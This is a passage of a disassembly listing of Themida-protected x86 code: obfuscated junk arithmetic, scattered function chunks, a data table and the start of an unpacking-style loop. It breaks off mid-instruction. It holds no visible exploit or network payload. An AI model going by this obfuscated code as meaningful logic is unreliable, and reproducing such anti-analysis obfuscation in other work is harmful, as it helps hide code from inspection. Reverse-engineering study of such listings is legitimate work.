XREF: sub_58905F-4134j xor ebp, 76D3BBD0h jmp loc_58D4E0 ; END OF FUNCTION CHUNK FOR sub_58905F ; =============== S U B R O U T I N E ======================================= sub_58F923 proc near ; CODE XREF: sub_585452+CF0j ; FUNCTION CHUNK AT 005841F6 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00589371 SIZE 00000009 BYTES push ebp mov ebp, 1E211ECh push eax jmp loc_5841F6 sub_58F923 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F92F: ; CODE XREF: sub_585452+5BADj add ebp, edx mov edx, [esp+6+var_8+2] add esp, 4 xchg ebp, [esp+2+var_4+2] pop esp sub esp, 4 mov [esp+2+var_4+2], esi push eax mov eax, 21FD7696h neg eax push edx mov edx, 4F4871A0h dec edx jmp loc_58EB1D ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_586F2E loc_58F958: ; CODE XREF: sub_586F2E+2430j pop [esp+4+var_4] mov esp, [esp+0] shl [esp-4+arg_0], cl pushf jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_586F2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F968: ; CODE XREF: sub_585452+10BFj shr bl, 6 jmp loc_5870B0 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- push ecx push 169h mov [esp], edx jmp loc_58FD75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F97E: ; CODE XREF: sub_585452+A006j sub eax, ebp pop ebp pop edx jmp loc_5842C3 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58F987: ; CODE XREF: Themida_:00589177j mov ebp, 0D916083h mov eax, 41047CE8h jmp loc_5857AB ; --------------------------------------------------------------------------- loc_58F996: ; CODE XREF: Themida_:0058EADFj pop eax push ecx jmp loc_58DDD9 ; --------------------------------------------------------------------------- loc_58F99D: ; CODE XREF: Themida_:00585001j push edx mov edx, 6B22498Fh not edx push esi mov esi, 75066C51h or esi, 1D1524C0h push eax push ebx push 57B67127h pop ebx add ebx, 90834538h mov eax, ebx pop ebx sub esi, eax pop eax xor edx, esi pop esi add ebx, edx mov edx, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] btr [esp], ax pushf jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58F9E4: ; CODE XREF: Themida_:0058C828j mov dh, 1Ah or dh, 0FCh dec dh shr dh, 6 jmp loc_58D57F ; --------------------------------------------------------------------------- loc_58F9F3: ; CODE XREF: Themida_:00585064j add al, 44h mov bh, al pop eax jmp loc_5870BF ; --------------------------------------------------------------------------- loc_58F9FD: ; CODE XREF: Themida_:0058B898j xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_58901D ; --------------------------------------------------------------------------- loc_58FA0B: ; CODE XREF: Themida_:0058F1ACj sub al, 0EAh pop ecx jmp loc_584E6B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58FA13: ; CODE XREF: sub_585452-7EAj add al, 3Ch jmp sub_58DA2E ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58FA1A: ; CODE XREF: Themida_:00589F88j mov eax, [esp] add esp, 4 pop ebx xor al, cl pop ecx sub esp, 4 mov [esp], edx sub esp, 4 jmp loc_58C7CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EDD1 loc_58FA38: ; CODE XREF: sub_58EDD1+9j or bl, 0C5h push ecx mov ch, 15h jmp loc_58DFA7 ; END OF FUNCTION CHUNK FOR sub_58EDD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58FA43: ; CODE XREF: sub_585452+6776j pop bx jmp loc_58F77F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58FA4A: ; CODE XREF: Themida_:00585EC1j sub edx, 39DD2292h mov esi, [esp] jmp loc_5885D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58FA58: ; CODE XREF: sub_585452+795j pop edi push 4428h mov [esp-4+arg_0], eax jmp loc_583CF6 ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_58FA66 proc near ; CODE XREF: sub_585452+779Dj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h ; FUNCTION CHUNK AT 00583E75 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005840A7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00584757 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00584B6B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00584DA7 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00585111 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00585263 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00585373 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005860E8 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005862D9 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00586B67 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00586E95 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00586FCA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005879F3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00587FC8 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00589151 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00589635 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00589A02 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00589D0E SIZE 00000032 BYTES ; FUNCTION CHUNK AT 0058A4D4 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0058A662 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058AAA1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058AF03 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058AFCD SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058B65A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058B93D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058C5B1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058D4A2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058DC1B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058E5D8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058E912 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058F4B2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058F674 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058FC66 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058FDEC SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058FEC9 SIZE 00000017 BYTES push ebp mov ebp, 0CF67BCDh shr ebp, 7 add ebp, 2B2F7F25h shl ebp, 1 sub ebp, 0F7FEC89Dh mov esi, ebp mov ebp, [esp+8+var_8] add esp, 4 xor [esp+4], esi pop esi jmp loc_585111 sub_58FA66 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push dword ptr [esp+4] jmp loc_58F49D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58AB18 loc_58FA98: ; CODE XREF: sub_58AB18+2F5Ej push edi push edx mov edx, 7D12415Ch jmp loc_583F40 ; END OF FUNCTION CHUNK FOR sub_58AB18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_58FAA4: ; CODE XREF: sub_58999B+270j add bl, cl push dword ptr [esp+0] pop ecx add esp, 4 sub bl, al push small 0B5Dh jmp loc_584E79 ; END OF FUNCTION CHUNK FOR sub_58999B ; --------------------------------------------------------------------------- loc_58FABB: ; CODE XREF: Themida_:0058F897j push edx mov edx, esp jmp loc_587DB0 ; --------------------------------------------------------------------------- loc_58FAC3: ; CODE XREF: Themida_:00587758j mov cl, 0BEh add bl, 35h add bl, 98h sub bl, cl sub bl, 98h push edx mov dh, 0CBh sub esp, 4 mov [esp], eax mov al, 89h xor al, 6Bh or dh, al jmp loc_58B6A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58FAE4: ; CODE XREF: sub_585452+85D7j and eax, 39D412FCh xor eax, 211412C6h mov esi, eax mov eax, [esp+0Ah+var_C+2] jmp loc_587A3C ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58FAF8: ; CODE XREF: Themida_:0058FCA9j pop edx add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp inc byte ptr [esp] pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CA39 loc_58FB12: ; CODE XREF: sub_58CA39+2727j add ebx, eax add ebx, 2E405031h push eax mov eax, 0 add eax, ebx jmp loc_58CC37 ; END OF FUNCTION CHUNK FOR sub_58CA39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587574 loc_58FB27: ; CODE XREF: sub_587574-B82j mov [esp+0], ebx mov ebx, 7D65C45h jmp loc_5869F7 ; END OF FUNCTION CHUNK FOR sub_587574 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58FB34: ; CODE XREF: sub_585452+37CBj sub eax, 1226E80h add eax, 2F994A4Ch sub eax, esi sub eax, 2F994A4Ch add eax, 1226E80h pop esi jmp loc_58645D ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58FB50: ; CODE XREF: Themida_:00587C21j mov [esp], ebp push 5E702535h pop ebp neg ebp push esi jmp loc_585D48 ; --------------------------------------------------------------------------- loc_58FB61: ; CODE XREF: Themida_:0058B932j push 7F0522F1h pop edx jmp loc_589052 ; --------------------------------------------------------------------------- loc_58FB6C: ; CODE XREF: Themida_:0058FE86j add edi, 4 sub edi, 4 jmp loc_58CA78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58FB7D: ; CODE XREF: sub_585452+3921j dec cl or cl, 0D9h inc cl xor cl, 0B8h jmp loc_58DCA9 ; --------------------------------------------------------------------------- loc_58FB8C: ; CODE XREF: sub_585452+4565j push eax jmp loc_58F860 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58FB92: ; CODE XREF: Themida_:00588FADj pop eax jmp loc_58BC1E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58FB98: ; CODE XREF: sub_585452+7AE1j mov ebx, 4792213Ch jmp loc_58C5C2 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589C10 loc_58FBA2: ; CODE XREF: sub_589C10+1567j add esi, 6897C00Ah jmp loc_58DE95 ; END OF FUNCTION CHUNK FOR sub_589C10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DA2E loc_58FBAD: ; CODE XREF: sub_58DA2E-8A4Dj pop ebx push eax mov al, dl mov bl, al pop eax pop edx mov ch, bl mov ebx, [esp+0Ch+var_C] jmp loc_587E47 ; END OF FUNCTION CHUNK FOR sub_58DA2E ; --------------------------------------------------------------------------- loc_58FBBF: ; CODE XREF: Themida_:00587CEEj inc ecx jmp loc_5863D7 ; --------------------------------------------------------------------------- loc_58FBC5: ; CODE XREF: Themida_:005850D8j mov al, 17h push edx mov dl, 0A5h xor dl, 69h xor dl, 2Bh push eax mov al, 3Eh jmp loc_58C9DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58FBD8: ; CODE XREF: sub_585452-C3Dj add esi, 4AA97C22h mov edi, esi jmp loc_589E4C ; --------------------------------------------------------------------------- loc_58FBE5: ; CODE XREF: sub_585452+276j mov edi, 4C674FB7h xor eax, edi pop edi push edi mov edi, 508571B4h sub eax, edi pop edi xor esi, eax pop eax xor eax, esi jmp loc_58E024 ; --------------------------------------------------------------------------- loc_58FC00: ; CODE XREF: sub_585452+869Dj neg edi push ebp mov ebp, 2F1B1D15h xor edi, ebp pop ebp add edi, 0DA760F8Bh and eax, edi push dword ptr [esp+0] mov edi, [esp+2+var_4+2] add esp, 4 jmp loc_58F3DA ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58FC24: ; CODE XREF: Themida_:00584F59j sub esp, 4 mov [esp], esi push dword ptr [esp+4] push dword ptr [esp] jmp loc_58D9DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58FC36: ; CODE XREF: sub_585452+2CBFj mov [esp-0Eh+arg_8+2], esi push ecx mov ecx, 7A925FB9h mov esi, ecx pop ecx push edx push edi mov edi, 7BC137DFh shr edi, 7 shr edi, 8 neg edi shl edi, 1 jmp loc_584CA5 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58FC58: ; CODE XREF: Themida_:0058AD06j add ebp, 4 add ebp, 4 jmp loc_585A14 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_58FC66: ; CODE XREF: sub_58FA66-4123j pop esp mov [esp+8+var_8], eax jmp loc_586B67 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- loc_58FC6F: ; CODE XREF: Themida_:00584AEBj add dword ptr [esp], 4 pop edi jmp loc_58A63B ; --------------------------------------------------------------------------- loc_58FC79: ; CODE XREF: Themida_:00589288j or edx, 1EA623C7h shr edx, 6 shr edx, 6 push edx inc dword ptr [esp] mov edx, [esp] add esp, 4 add edx, 0FFFC119Eh sub ebp, 5FB572FBh add ebp, edx add ebp, 5FB572FBh push dword ptr [esp] jmp loc_58FAF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58FCAE: ; CODE XREF: sub_585452+9387j pop ebp add ebp, 4 push eax mov eax, 4 sub ebp, eax pop eax xchg ebp, [esp+46h+var_48+2] pop esp mov [esp+42h+var_44+2], edx push 0FFFFFFFFh pop edx sub [edi+24h], edx mov edx, [esp+42h+var_44+2] add esp, 4 jmp sub_58E931 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58FCD9: ; CODE XREF: Themida_:0058E219j sub edx, edi pop edi push ecx jmp loc_587D4E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58FCE2: ; CODE XREF: sub_585452+26Ej push eax mov eax, 7BB0762Ah shr eax, 8 push ebp mov ebp, 420E53F2h dec ebp and ebp, 1DC458B2h sub ebp, 9D42015Fh jmp loc_58DA26 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58FD03: ; CODE XREF: Themida_:00587512j add ecx, 4 jmp loc_58F2FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58FD0B: ; CODE XREF: sub_585452+44AFj sub edi, ecx pop ecx and edi, 5D107672h and edi, 77001780h shl edi, 1 add edi, 1 sub edi, 0AF6BD617h xor eax, edi mov edi, [esp+2+var_4+2] jmp loc_58EB34 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EDD1 loc_58FD2F: ; CODE XREF: sub_58EDD1-2521j pop ebx xor ah, 6Fh xor bl, ah mov eax, [esp-4+arg_0] add esp, 4 add al, 9Dh jmp sub_58999B ; END OF FUNCTION CHUNK FOR sub_58EDD1 ; --------------------------------------------------------------------------- loc_58FD45: ; CODE XREF: Themida_:00586743j push 0C95h jmp loc_58A215 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589FD5 loc_58FD4F: ; CODE XREF: sub_589FD5+47Fj or edi, 6E9D7DD9h push eax mov eax, 6B092DD6h and eax, 30845919h shr eax, 4 shr eax, 5 sub eax, 21141D41h xor eax, 4FD960C8h jmp loc_5866E0 ; END OF FUNCTION CHUNK FOR sub_589FD5 ; --------------------------------------------------------------------------- loc_58FD75: ; CODE XREF: Themida_:0058F979j push 0FEh jmp loc_58DB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58FD7F: ; CODE XREF: sub_585452+7432j mov [esp-20h+arg_1A+2], edx mov edx, 52529A9h add edx, 2716736Ah push esi mov esi, 12F33447h xor esi, 73F74187h dec esi add esi, 43B47175h add esi, 5BDA3F01h add edx, 58A602F0h add edx, esi sub edx, 58A602F0h jmp loc_58C735 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EA34 loc_58FDB9: ; CODE XREF: sub_58EA34-2796j jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_58EA34 ; --------------------------------------------------------------------------- loc_58FDBE: ; CODE XREF: Themida_:00584738j inc ebx inc ebx jmp loc_58D089 ; --------------------------------------------------------------------------- loc_58FDC5: ; CODE XREF: Themida_:0058AD63j pop dword ptr [esp] jmp loc_58E540 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 jmp loc_58DE8B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58FDDC: ; CODE XREF: sub_585452+3F56j sub ebx, edi add ebx, 596B693Ah mov edi, [esp+0Eh+var_10+2] jmp loc_58889B ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_58FDEC: ; CODE XREF: sub_58FA66-8EF6j xchg eax, ecx push eax jmp loc_589635 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- loc_58FDF3: ; CODE XREF: Themida_:0058B825j mov ecx, [esp] add esp, 4 sub eax, esi pop esi push ebp mov ebp, 1CAC65A6h push ebp jmp loc_587662 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58FE0B: ; CODE XREF: sub_585452+41A3j or edx, eax shl edx, 1 sub esp, 4 mov [esp+0Ch+var_C], ebx mov ebx, 24h push edx push eax jmp loc_58C5F9 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_58FE24: ; CODE XREF: sub_58999B-3026j add ebx, 4 push ebx jmp loc_58DDB6 ; END OF FUNCTION CHUNK FOR sub_58999B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58FE30: ; CODE XREF: sub_585452+5C93j pop eax push ecx mov ecx, 90B030Ch and edx, ecx pop ecx not edx push ebx mov ebx, 10B0105h add edx, ebx pop ebx add ecx, edx pop edx jmp loc_58A78A ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58FE4D: ; CODE XREF: Themida_:005867CDj pop ebp jmp loc_586A26 ; --------------------------------------------------------------------------- loc_58FE53: ; CODE XREF: Themida_:005850CAj push edi push ebp mov ebp, 2056072Dh xor [esp+4], ebp pop ebp pop eax xor eax, 2056072Dh pop edi jmp loc_58CF38 ; --------------------------------------------------------------------------- loc_58FE6B: ; CODE XREF: Themida_:005899E4j xchg ebp, [esp] pop esp add ebp, 4 add ebp, 2 jmp loc_587A2E ; --------------------------------------------------------------------------- loc_58FE80: ; CODE XREF: Themida_:0058BA34j mov [esp], ecx push edi mov edi, esp jmp loc_58FB6C ; --------------------------------------------------------------------------- loc_58FE8B: ; CODE XREF: Themida_:0058C784j jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58FE90: ; CODE XREF: sub_58EFBD-27A4j add eax, edi jmp loc_58AF1F ; --------------------------------------------------------------------------- loc_58FE97: ; CODE XREF: sub_58EFBD-2C55j xor edi, 70F257B1h jmp loc_589441 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A170 loc_58FEA2: ; CODE XREF: sub_58A170+20EFj pop ecx xor bl, al movzx eax, al push small 6C93h mov [esp-6+arg_2], ax jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_58A170 ; --------------------------------------------------------------------------- loc_58FEB5: ; CODE XREF: Themida_:00584B95j neg edi add edi, 3B59E37Eh jmp loc_58BD53 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58FEC2: ; CODE XREF: sub_585452+8FB0j xor al, 0F0h jmp loc_58CF72 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_58FEC9: ; CODE XREF: sub_58FA66-4B4Cj not eax xor eax, 41826515h add eax, 44EEAD1Ah mov ecx, eax pop eax and eax, ecx pop ecx jmp loc_5879F3 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- loc_58FEE0: ; CODE XREF: Themida_:00589839j sub dh, ch pop ecx add al, dh mov edx, [esp] jmp loc_585119 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 jmp loc_58B1C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58FEFC: ; CODE XREF: sub_585452+89E1j or ebp, 42566258h inc ebp xor ebp, 1AC40C61h dec ebp jmp loc_589B67 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58FF0F: ; CODE XREF: Themida_:0058988Aj sub esp, 4 jmp loc_584ED2 ; --------------------------------------------------------------------------- loc_58FF1A: ; CODE XREF: Themida_:005862FFj add esp, 4 push eax mov eax, 5E131C48h and eax, 2C4724D5h add eax, 211D7419h add eax, 4F0A107Bh shr eax, 7 jmp loc_589070 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589972 loc_58FF3A: ; CODE XREF: sub_589972+23ABj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+4+var_4] pop esp jmp loc_586219 ; END OF FUNCTION CHUNK FOR sub_589972 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58FF4E: ; CODE XREF: sub_585452+2BB2j sub dh, 2Ah add dh, 1 neg dh not dh jmp loc_58E546 ; --------------------------------------------------------------------------- loc_58FF5D: ; CODE XREF: sub_585452+6C57j push 53BBh mov [esp+1Ah+var_1C+2], ecx mov ecx, esp add ecx, 4 push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+1Eh+var_20+2] pop esp jmp loc_586B9D ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58FF85: ; CODE XREF: Themida_:005884DBj add bl, 2 add bl, 0BEh movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] pop eax jmp loc_58E327 ; --------------------------------------------------------------------------- align 4 dd 0EB940000h, 0FF4C7C90h, 915B0012h, 8D8D005Eh, 0BADAD513h dd 9D9EFA45h, 203005Eh, 20000h, 10000h, 20000h, 0BADA0000h dd 0FA45h, 4 dup(0) dd 533F0000h, 31350059h, 44F0005Ah, 557B005Ah, 5DBB005Ah dd 35110059h, 738D0059h, 69E0059h, 0E2C20059h, 2D9B0059h dd 6F730059h, 0F5CD0059h, 165B0059h, 0CDA50059h, 0E7520059h dd 0EA9C0059h, 79040059h, 1CA00059h, 69F00059h, 0B84C0059h dd 0F1F0059h, 5042005Ah, 4F9B005Ah, 4967005Ah, 0BEAC0059h dd 37230059h, 7EC8005Ah, 51A60059h, 10260059h, 0BBB3005Ah dd 3C310059h, 465B005Ah, 379D0059h, 9D980059h, 56920059h dd 6980005Ah, 0A440059h, 5A880059h, 27920059h, 6B11005Ah dd 0CE30059h, 0DD060059h, 0CFA40059h, 46330059h, 0AB01005Ah dd 0B4E00059h, 43880059h, 0C1D7005Ah, 275B0059h, 7CF0005Ah dd 0C94D0059h, 0D8090059h, 56680059h, 1DFD005Ah, 28BD005Ah dd 1954005Ah, 1F290059h, 77100059h, 0D3060059h, 0C9A40059h dd 27650059h, 0B03F0059h, 55B80059h, 8CFF0059h, 0E6AA0059h dd 48980059h, 0F00005Ah, 2CCE005Ah, 43DE005Ah, 30000059h dd 4BCB005Ah, 3FED0059h, 4B990059h, 67E4005Ah, 1FAA0059h dd 4F66005Ah, 0A7F60059h, 0D8E80059h, 9D1D0059h, 0D9F80059h dd 8B600059h, 312A0059h, 0AC510059h, 33F00059h, 0B76E005Ah dd 317B0059h, 0D2B9005Ah, 0C4D20059h, 87E60059h, 60B50059h dd 0E7320059h, 0C3780059h, 9AD40059h, 2FA20059h, 0B6F9005Ah dd 8B580059h, 45FE0059h, 0FF42005Ah, 51180059h, 26CB005Ah dd 0B8130059h, 5160059h, 219B005Ah, 0ADD0005Ah, 0DA1E0059h dd 98500059h, 66590059h, 86A40059h, 25D80059h, 0FA180059h dd 2DDB0059h, 5398005Ah, 15AF0059h, 32FC005Ah, 790D0059h dd 0E0B0059h, 0B82D005Ah, 0F420059h, 2F71005Ah, 8ECD0059h dd 16180059h, 49EE0059h, 28960059h, 1438005Ah, 5FF0005Ah dd 212C0059h, 3F870059h, 2ACD005Ah, 508005Ah, 0C41B005Ah dd 0DE5F0059h, 0B05F0059h, 0DEC0059h, 20EA0059h, 0B2380059h dd 50E0059h, 8E6A0059h, 44F80059h, 7D2B0059h, 3EF40059h dd 2746005Ah, 458B005Ah, 401B005Ah, 0E7A005Ah, 535E005Ah dd 28CD005Ah, 2AC10059h, 0A3BB005Ah, 3F950059h, 21340059h dd 929F0059h, 88670059h, 581D0059h, 0BD310059h, 2FC0059h dd 820059h, 0A56A005Ah, 7E790059h, 415C0059h, 884B0059h dd 35170059h, 0D2EA0059h, 73970059h, 2A200059h, 0C6BD0059h dd 18270059h, 91470059h db 59h, 0 ; --------------------------------------------------------------------------- loc_59027A: ; CODE XREF: Themida_:005D1E02j ; Themida_:005D1E0Cj ... pusha pushf cld call $+5 pop edi sub edi, 61347A8h mov eax, edi add edi, 61344C0h cmp eax, [edi+2Ch] jnz short loc_590298 jmp short loc_5902AB ; --------------------------------------------------------------------------- loc_590298: ; CODE XREF: Themida_:00590294j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_5902A7 ; --------------------------------------------------------------------------- loc_5902A2: ; CODE XREF: Themida_:005902A9j add [edi+ecx*4+40h], eax dec ecx loc_5902A7: ; CODE XREF: Themida_:005902A0j or ecx, ecx jnz short loc_5902A2 loc_5902AB: ; CODE XREF: Themida_:00590296j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_5902B8: ; CODE XREF: Themida_:005902BFj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_5902B8 loc_5902C1: ; CODE XREF: Themida_:00590327j ; Themida_:005905EAj ... lodsb push 487Dh mov [esp], edx push eax push edx mov dl, 0A3h jmp loc_59735A ; --------------------------------------------------------------------------- loc_5902D3: ; CODE XREF: Themida_:005A0E75j shl edi, 6 sub edi, 76B85A75h inc edi xor edi, 6C166548h xor edi, 0E61EEDE9h jmp loc_59ACB1 ; --------------------------------------------------------------------------- loc_5902EE: ; CODE XREF: Themida_:00599ACFj not ecx inc ecx xor ecx, 1ABC6B8Bh jmp loc_5A4B2C ; --------------------------------------------------------------------------- mov ax, [esp] push ebp mov ebp, esp push edi mov edi, 4 sub ebp, 603948CAh jmp loc_591436 ; --------------------------------------------------------------------------- loc_590314: ; CODE XREF: Themida_:0059B912j push eax mov eax, 10F43533h add ebp, eax pop eax mov eax, [esp] add esp, 4 xchg ebp, [esp] pop esp jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59032C: ; CODE XREF: Themida_:00592E3Aj mov [esp], ebx jmp loc_5A217D ; --------------------------------------------------------------------------- loc_590334: ; CODE XREF: Themida_:00593DA4j mov ecx, 5264604Dh jmp loc_59D11C ; --------------------------------------------------------------------------- loc_59033E: ; CODE XREF: Themida_:0059AEE0j pop esi jmp loc_59CB9C ; --------------------------------------------------------------------------- loc_590344: ; CODE XREF: Themida_:005913CBj mov dx, [esp] add esp, 2 jmp loc_598936 ; --------------------------------------------------------------------------- loc_590353: ; CODE XREF: Themida_:005A19DDj mov [esp], edx jmp loc_5A0A60 ; --------------------------------------------------------------------------- loc_59035B: ; CODE XREF: Themida_:00595A9Cj add eax, 53223C59h mov ebp, [esp] push eax jmp loc_593545 ; --------------------------------------------------------------------------- loc_590369: ; CODE XREF: Themida_:005A07D1j push edx mov dl, 0FCh shr dl, 4 add dl, 6Dh sub dl, 89h xor dl, 0F2h sub bl, dl mov edx, [esp] add esp, 4 dec bl jmp loc_593A6A ; --------------------------------------------------------------------------- loc_590387: ; CODE XREF: Themida_:0059DBEAj push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add esp, 4 add eax, 6EF412EAh add eax, esi sub eax, 6EF412EAh push dword ptr [esp] pop esi push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5A2452 ; --------------------------------------------------------------------------- align 2 lds eax, [eax+458ECC5h] push edx add al, ch sub al, 52h pop ecx push edx push eax mov ah, 39h push ebx jmp loc_59E1EE ; --------------------------------------------------------------------------- loc_5903DC: ; CODE XREF: Themida_:005A5617j add bl, al mov ax, [esp] add esp, 2 sub al, 0DBh sub al, bl add al, 0DBh jmp loc_59BF62 ; --------------------------------------------------------------------------- loc_5903F3: ; CODE XREF: Themida_:0059D510j mov edi, 